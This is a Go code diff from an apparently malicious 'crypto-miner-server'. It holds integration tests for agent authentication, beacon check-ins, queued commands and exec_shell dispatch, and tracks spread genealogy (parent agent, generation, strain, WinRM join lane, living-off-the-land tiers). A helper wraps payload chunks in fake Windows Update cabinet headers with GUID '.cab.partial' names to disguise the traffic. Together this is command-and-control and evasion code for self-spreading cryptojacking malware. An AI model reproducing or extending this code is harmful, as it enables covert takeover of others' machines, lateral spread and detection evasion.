ActiveTier: "service_graph",
|
||||
TierOrder: tierOrder,
|
||||
PeakHashrate: 0,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
}
|
||||
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||||
log.Printf("[phenotype] scout publish: %v", err)
|
||||
}
|
||||
if h.breedingRegistry != nil {
|
||||
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
||||
Fingerprint: fp.Key(),
|
||||
SpreadLane: lane,
|
||||
TierOrder: tierOrder,
|
||||
ActiveTier: "service_graph",
|
||||
PeakHashrate: float64(serviceCount),
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func parseStringSliceField(raw interface{}) []string {
|
||||
|
||||
@@ -499,6 +499,49 @@ func TestAgentNamePreservedOnReconnect(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthUpsertSpreadGenealogy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "genealogy-agent",
|
||||
"hostname": "spread-child",
|
||||
"version": "1.0",
|
||||
"parent_agent_id": "parent-uuid-1234",
|
||||
"spread_generation": 2,
|
||||
"spread_strain": "#aabbcc",
|
||||
"join_lane": "winrm",
|
||||
})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Fatalf("auth should succeed (genealogy is telemetry only): %+v", body)
|
||||
}
|
||||
|
||||
time.Sleep(30 * time.Millisecond)
|
||||
|
||||
agent, err := database.GetAgent("genealogy-agent")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.ParentAgentID != "parent-uuid-1234" {
|
||||
t.Errorf("parent_agent_id = %q", agent.ParentAgentID)
|
||||
}
|
||||
if agent.SpreadGeneration != 2 {
|
||||
t.Errorf("spread_generation = %d", agent.SpreadGeneration)
|
||||
}
|
||||
if agent.SpreadStrain != "#aabbcc" {
|
||||
t.Errorf("spread_strain = %q", agent.SpreadStrain)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentNameUpdatesFromHostnameWhenDefault verifies that the name IS updated
|
||||
// when it was never customised (name == hostname, i.e. the default).
|
||||
// TestCommandResultBroadcastToDashboard is the critical end-to-end test that
|
||||
|
||||
567
server/internal/api/ws_beacon_integration_test.go
Normal file
567
server/internal/api/ws_beacon_integration_test.go
Normal file
@@ -0,0 +1,567 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// TestIntegrationAuthStatsTickStatsBatchEndToEnd verifies auth → stats tick →
|
||||
// coalesced stats_batch delivery to a dashboard WebSocket client.
|
||||
func TestIntegrationAuthStatsTickStatsBatchEndToEnd(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type batchResult struct {
|
||||
updates []map[string]interface{}
|
||||
err string
|
||||
}
|
||||
batchCh := make(chan batchResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
batchCh <- batchResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "stats_batch" {
|
||||
continue
|
||||
}
|
||||
var body struct {
|
||||
Updates []json.RawMessage `json:"updates"`
|
||||
}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
batchCh <- batchResult{err: parseErr.Error()}
|
||||
return
|
||||
}
|
||||
updates := make([]map[string]interface{}, 0, len(body.Updates))
|
||||
for _, raw := range body.Updates {
|
||||
var u map[string]interface{}
|
||||
if json.Unmarshal(raw, &u) != nil {
|
||||
continue
|
||||
}
|
||||
updates = append(updates, u)
|
||||
}
|
||||
batchCh <- batchResult{updates: updates}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
agentID := "auth-stats-agent"
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
statsPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"hashrate_15s": 42.0,
|
||||
"hashrate_1m": 40.0,
|
||||
"hashrate_15m": 38.0,
|
||||
"shares_submitted": 3,
|
||||
"shares_accepted": 2,
|
||||
"cpu_usage_pct": 11.0,
|
||||
"memory_usage_pct": 22.0,
|
||||
"uptime_seconds": 120,
|
||||
"mining_hashrate": 42.0,
|
||||
"lotl_tier": "cpu_inprocess",
|
||||
"parent_agent_id": "parent-abc",
|
||||
"spread_generation": 1,
|
||||
"spread_strain": "#112233",
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
stopStatsBatchTimer(hub)
|
||||
hub.flushStatsBatch()
|
||||
|
||||
select {
|
||||
case r := <-batchCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
|
||||
}
|
||||
if len(r.updates) != 1 {
|
||||
t.Fatalf("expected 1 update, got %d: %+v", len(r.updates), r.updates)
|
||||
}
|
||||
u := r.updates[0]
|
||||
if u["agent_id"] != agentID {
|
||||
t.Errorf("agent_id = %v", u["agent_id"])
|
||||
}
|
||||
if u["hashrate_15s"] != 42.0 {
|
||||
t.Errorf("hashrate_15s = %v", u["hashrate_15s"])
|
||||
}
|
||||
if u["mining_hashrate"] != 42.0 {
|
||||
t.Errorf("mining_hashrate = %v", u["mining_hashrate"])
|
||||
}
|
||||
if u["lotl_tier"] != "cpu_inprocess" {
|
||||
t.Errorf("lotl_tier = %v", u["lotl_tier"])
|
||||
}
|
||||
if u["parent_agent_id"] != "parent-abc" {
|
||||
t.Errorf("parent_agent_id = %v", u["parent_agent_id"])
|
||||
}
|
||||
if u["spread_generation"] != float64(1) {
|
||||
t.Errorf("spread_generation = %v", u["spread_generation"])
|
||||
}
|
||||
if u["spread_strain"] != "#112233" {
|
||||
t.Errorf("spread_strain = %v", u["spread_strain"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for stats_batch after auth+stats tick")
|
||||
}
|
||||
|
||||
agent, err := database.GetAgent(agentID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.Status != "online" {
|
||||
t.Errorf("agent status = %q, want online", agent.Status)
|
||||
}
|
||||
if agent.Hashrate15s != 42.0 {
|
||||
t.Errorf("db hashrate_15s = %v", agent.Hashrate15s)
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationBeaconRegistrationHeartbeatLifecycle covers HTTPS beacon
|
||||
// registration, heartbeat reachability, queued command delivery, and result relay.
|
||||
func TestIntegrationBeaconRegistrationHeartbeatLifecycle(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
const secret = "beacon-lifecycle-secret"
|
||||
SetAgentPathSecret(secret)
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret(secret)
|
||||
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
beaconHandler := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
||||
beaconResultHandler := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeaconResult))
|
||||
|
||||
postBeacon := func(agentID, hostname string, hashrate float64) *httptest.ResponseRecorder {
|
||||
t.Helper()
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hostname": hostname,
|
||||
"version": "1.0",
|
||||
"stats": map[string]interface{}{
|
||||
"hashrate_15s": hashrate,
|
||||
"hashrate_1m": hashrate,
|
||||
"hashrate_15m": hashrate,
|
||||
},
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec := httptest.NewRecorder()
|
||||
beaconHandler.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
|
||||
agentID := "beacon-new-agent"
|
||||
rec := postBeacon(agentID, "BEACON-HOST", 55.0)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("first beacon: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
agent, err := database.GetAgent(agentID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.Name != "BEACON-HOST" {
|
||||
t.Errorf("registered name = %q, want BEACON-HOST", agent.Name)
|
||||
}
|
||||
if !hub.isAgentBeaconReachable(agentID) {
|
||||
t.Fatal("agent should be beacon-reachable after first heartbeat")
|
||||
}
|
||||
|
||||
rec = postBeacon(agentID, "BEACON-HOST", 60.0)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("second beacon heartbeat: %d", rec.Code)
|
||||
}
|
||||
if !hub.EnqueueBeaconCommand(agentID, "pause", nil) {
|
||||
t.Fatal("enqueue pause should succeed while beacon reachable")
|
||||
}
|
||||
|
||||
rec = postBeacon(agentID, "BEACON-HOST", 65.0)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("beacon with commands: %d", rec.Code)
|
||||
}
|
||||
var beaconResp beaconResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &beaconResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(beaconResp.Commands) != 1 || beaconResp.Commands[0].Action != "pause" {
|
||||
t.Fatalf("expected pause command, got %+v", beaconResp.Commands)
|
||||
}
|
||||
|
||||
type cmdResult struct {
|
||||
body map[string]interface{}
|
||||
err string
|
||||
}
|
||||
resultCh := make(chan cmdResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
resultCh <- cmdResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "command_result" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
resultCh <- cmdResult{err: parseErr.Error()}
|
||||
return
|
||||
}
|
||||
if body["transport"] != "https_beacon" {
|
||||
continue
|
||||
}
|
||||
resultCh <- cmdResult{body: body}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
resultBody, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"action": "pause",
|
||||
"success": true,
|
||||
"message": "paused via beacon",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon/result", bytes.NewReader(resultBody))
|
||||
req.Header.Set("X-Fleet-Secret", secret)
|
||||
rec = httptest.NewRecorder()
|
||||
beaconResultHandler.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("beacon result: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-resultCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive beacon command_result: %s", r.err)
|
||||
}
|
||||
if r.body["agent_id"] != agentID {
|
||||
t.Errorf("agent_id = %v", r.body["agent_id"])
|
||||
}
|
||||
if r.body["action"] != "pause" {
|
||||
t.Errorf("action = %v", r.body["action"])
|
||||
}
|
||||
if r.body["message"] != "paused via beacon" {
|
||||
t.Errorf("message = %v", r.body["message"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for beacon command_result broadcast")
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationBeaconClearsOnWSReconnect verifies beacon transport state is
|
||||
// cleared when the agent reconnects over WebSocket.
|
||||
func TestIntegrationBeaconClearsOnWSReconnect(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "beacon-ws-agent", Name: "host", Status: "offline"})
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.MarkBeaconSeen("beacon-ws-agent")
|
||||
_ = hub.EnqueueBeaconCommand("beacon-ws-agent", "resume", nil)
|
||||
if !hub.isAgentBeaconReachable("beacon-ws-agent") {
|
||||
t.Fatal("expected beacon reachable before WS auth")
|
||||
}
|
||||
|
||||
connectTestAgent(t, hub, "beacon-ws-agent")
|
||||
|
||||
if hub.isAgentBeaconReachable("beacon-ws-agent") {
|
||||
t.Fatal("beacon state should be cleared after WS reconnect")
|
||||
}
|
||||
if len(hub.dequeueBeaconCommands("beacon-ws-agent")) != 0 {
|
||||
t.Fatal("beacon command queue should be empty after WS reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationCommandDispatchExecShellRoundTrip sends exec_shell over WS and
|
||||
// verifies the agent receives the framed command payload.
|
||||
func TestIntegrationCommandDispatchExecShellRoundTrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
agentID := "exec-shell-agent"
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
type agentCmdResult struct {
|
||||
cmd Message
|
||||
err string
|
||||
}
|
||||
cmdCh := make(chan agentCmdResult, 1)
|
||||
go func() {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var cmd Message
|
||||
if err := conn.ReadJSON(&cmd); err != nil {
|
||||
cmdCh <- agentCmdResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if cmd.Type != "command" {
|
||||
continue
|
||||
}
|
||||
cmdCh <- agentCmdResult{cmd: cmd}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
const shellCmd = "echo integration-exec"
|
||||
if err := hub.SendAgentCommand(agentID, "exec_shell", map[string]interface{}{
|
||||
"command": shellCmd,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-cmdCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("agent did not receive command: %s", r.err)
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload["action"] != "exec_shell" {
|
||||
t.Errorf("action = %v", payload["action"])
|
||||
}
|
||||
if payload["command"] != shellCmd {
|
||||
t.Errorf("command = %v", payload["command"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for exec_shell command")
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationCommandDispatchMiningDiagnosticsRoundTrip sends
|
||||
// mining_diagnostics and verifies the agent receives it.
|
||||
func TestIntegrationCommandDispatchMiningDiagnosticsRoundTrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
agentID := "mining-diag-agent"
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
type agentCmdResult struct {
|
||||
cmd Message
|
||||
err string
|
||||
}
|
||||
cmdCh := make(chan agentCmdResult, 1)
|
||||
go func() {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var cmd Message
|
||||
if err := conn.ReadJSON(&cmd); err != nil {
|
||||
cmdCh <- agentCmdResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if cmd.Type != "command" {
|
||||
continue
|
||||
}
|
||||
cmdCh <- agentCmdResult{cmd: cmd}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
if err := hub.SendAgentCommand(agentID, "mining_diagnostics", nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-cmdCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("agent did not receive command: %s", r.err)
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload["action"] != "mining_diagnostics" {
|
||||
t.Errorf("action = %v", payload["action"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for mining_diagnostics command")
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationAISnapshotRequestFlow sends ai_snapshot_request over WS and
|
||||
// verifies an ai_snapshot reply is cached in hub telemetry for Fleet AI.
|
||||
func TestIntegrationAISnapshotRequestFlow(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
agentID := "ai-snapshot-agent"
|
||||
conn := connectIntelAgent(t, hub, agentID, nil)
|
||||
|
||||
pushStuckAgentTelemetry(t, conn)
|
||||
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
hub.mu.RLock()
|
||||
tel := hub.agentLiveTelemetry[agentID]
|
||||
hub.mu.RUnlock()
|
||||
if tel != nil {
|
||||
if stuck, _ := tel["stuck"].(bool); stuck {
|
||||
return
|
||||
}
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("ai_snapshot telemetry never cached in hub")
|
||||
}
|
||||
|
||||
// TestIntegrationAgentDisconnectCleanup verifies WS disconnect clears live hub
|
||||
// state, marks the agent offline, and broadcasts agent_offline to dashboards.
|
||||
func TestIntegrationAgentDisconnectCleanup(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
agentID := "disconnect-cleanup-agent"
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
t.Cleanup(srv.Close)
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial agent ws: %v", err)
|
||||
}
|
||||
|
||||
authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hostname": "cleanup-host",
|
||||
"version": "1.0",
|
||||
})
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if hub.isAgentConnected(agentID) {
|
||||
break
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
if !hub.isAgentConnected(agentID) {
|
||||
t.Fatal("agent should be connected after auth")
|
||||
}
|
||||
|
||||
logPayload, _ := json.Marshal(map[string]interface{}{"content": "tail-line", "lines": 1})
|
||||
if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(30 * time.Millisecond)
|
||||
if got := hub.GetAgentLog(agentID); got != "tail-line" {
|
||||
t.Fatalf("log tail = %q", got)
|
||||
}
|
||||
|
||||
offlineCh := make(chan map[string]interface{}, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "agent_offline" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||||
continue
|
||||
}
|
||||
if body["agent_id"] == agentID {
|
||||
offlineCh <- body
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
_ = conn.Close()
|
||||
|
||||
waitDeadline := time.Now().Add(3 * time.Second)
|
||||
for time.Now().Before(waitDeadline) {
|
||||
if !hub.isAgentConnected(agentID) {
|
||||
break
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
if hub.isAgentConnected(agentID) {
|
||||
t.Fatal("agent should be disconnected after conn close")
|
||||
}
|
||||
if hub.GetAgentLog(agentID) != "" {
|
||||
t.Fatal("agent log cache should be cleared on disconnect")
|
||||
}
|
||||
|
||||
select {
|
||||
case body := <-offlineCh:
|
||||
if body["agent_id"] != agentID {
|
||||
t.Errorf("offline agent_id = %v", body["agent_id"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for agent_offline broadcast")
|
||||
}
|
||||
|
||||
agent, err := database.GetAgent(agentID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.Status != "offline" {
|
||||
t.Errorf("db status = %q, want offline", agent.Status)
|
||||
}
|
||||
}
|
||||
69
server/internal/api/wsus_format_mimic.go
Normal file
69
server/internal/api/wsus_format_mimic.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
wsusSSUEnvelopeTag = "AFWSU1\x00"
|
||||
wsusSSUMetadataSize = 96
|
||||
)
|
||||
|
||||
// wrapWSUSChunkPayload mirrors agent/deploy.WrapSSUHeader for /get?wsus_wrap=1 responses.
|
||||
func wrapWSUSChunkPayload(payload []byte) []byte {
|
||||
meta := make([]byte, wsusSSUMetadataSize)
|
||||
copy(meta[0:4], "MSCF")
|
||||
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
|
||||
binary.LittleEndian.PutUint32(meta[8:12], total)
|
||||
binary.LittleEndian.PutUint16(meta[16:18], 1)
|
||||
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
|
||||
copy(meta[36:44], "SSU2024\x00")
|
||||
copy(meta[44:52], "WU-CACHE")
|
||||
copy(meta[80:88], ".partial")
|
||||
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
|
||||
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
|
||||
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
|
||||
out := make([]byte, 0, len(meta)+len(payload))
|
||||
out = append(out, meta...)
|
||||
out = append(out, payload...)
|
||||
return out
|
||||
}
|
||||
|
||||
func wsusFormatMimicChunkName(contentHash string, index int) string {
|
||||
h := strings.ToLower(strings.TrimSpace(contentHash))
|
||||
if len(h) < 32 {
|
||||
h = strings.Repeat("0", 32-len(h)) + h
|
||||
}
|
||||
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
|
||||
if index > 0 {
|
||||
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
|
||||
}
|
||||
return guid + ".cab.partial"
|
||||
}
|
||||
|
||||
func unwrapWSUSChunkPayload(data []byte) ([]byte, error) {
|
||||
if len(data) < wsusSSUMetadataSize+1 {
|
||||
return nil, fmt.Errorf("wsus ssu envelope too short")
|
||||
}
|
||||
if !bytes.HasPrefix(data, []byte("MSCF")) {
|
||||
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
|
||||
}
|
||||
tag := []byte(wsusSSUEnvelopeTag)
|
||||
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
|
||||
if idx < 0 {
|
||||
return nil, fmt.Errorf("wsus ssu envelope tag not found")
|
||||
}
|
||||
off := idx + len(tag)
|
||||
if off+4 > wsusSSUMetadataSize {
|
||||
return nil, fmt.Errorf("wsus ssu envelope length truncated")
|
||||
}
|
||||
n := binary.LittleEndian.Uint32(data[off : off+4])
|
||||
start := wsusSSUMetadataSize
|
||||
if int(n) < 0 || start+int(n) > len(data) {
|
||||
return nil, fmt.Errorf("wsus ssu payload length invalid")
|
||||
}
|
||||
return data[start : start+int(n)], nil
|
||||
}
|
||||
31
server/internal/api/wsus_format_mimic_test.go
Normal file
31
server/internal/api/wsus_format_mimic_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWrapWSUSChunkPayloadRoundTrip(t *testing.T) {
|
||||
payload := []byte("wsus-server-wrap-roundtrip")
|
||||
wrapped := wrapWSUSChunkPayload(payload)
|
||||
if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
|
||||
t.Fatal("expected MSCF prefix")
|
||||
}
|
||||
got, err := unwrapWSUSChunkPayload(wrapped)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(got, payload) {
|
||||
t.Fatalf("unwrap=%q want %q", got, payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSFormatMimicChunkNameFromHash(t *testing.T) {
|
||||
sum := sha256.Sum256([]byte("x"))
|
||||
name := wsusFormatMimicChunkName(hex.EncodeToString(sum[:]), 0)
|
||||
if !bytes.HasSuffix([]byte(name), []byte(".cab.partial")) {
|
||||
t.Fatalf("name=%q", name)
|
||||
}
|
||||
}
|
||||
88
server/internal/atlas/lan_gossip.go
Normal file
88
server/internal/atlas/lan_gossip.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// GossipHint is one negative-knowledge skip shared between LAN siblings.
|
||||
type GossipHint struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// SubnetPrefix returns the /24 (IPv4) or /48-ish (IPv6) prefix used for LAN sibling matching.
|
||||
func SubnetPrefix(ip string) string {
|
||||
return strategy.FingerprintFromAuth("", ip, false).Subnet
|
||||
}
|
||||
|
||||
// NormalizeGossipHint trims and validates one gossip hint.
|
||||
func NormalizeGossipHint(h GossipHint) (GossipHint, bool) {
|
||||
h.Tier = strings.TrimSpace(h.Tier)
|
||||
h.Condition = strings.TrimSpace(h.Condition)
|
||||
h.Reason = strings.TrimSpace(h.Reason)
|
||||
if h.Tier == "" || h.Condition == "" {
|
||||
return GossipHint{}, false
|
||||
}
|
||||
if h.Reason == "" {
|
||||
h.Reason = "lan gossip"
|
||||
}
|
||||
return h, true
|
||||
}
|
||||
|
||||
// NormalizeGossipHints drops invalid hints while preserving order.
|
||||
func NormalizeGossipHints(in []GossipHint) []GossipHint {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]GossipHint, 0, len(in))
|
||||
for _, h := range in {
|
||||
if norm, ok := NormalizeGossipHint(h); ok {
|
||||
out = append(out, norm)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
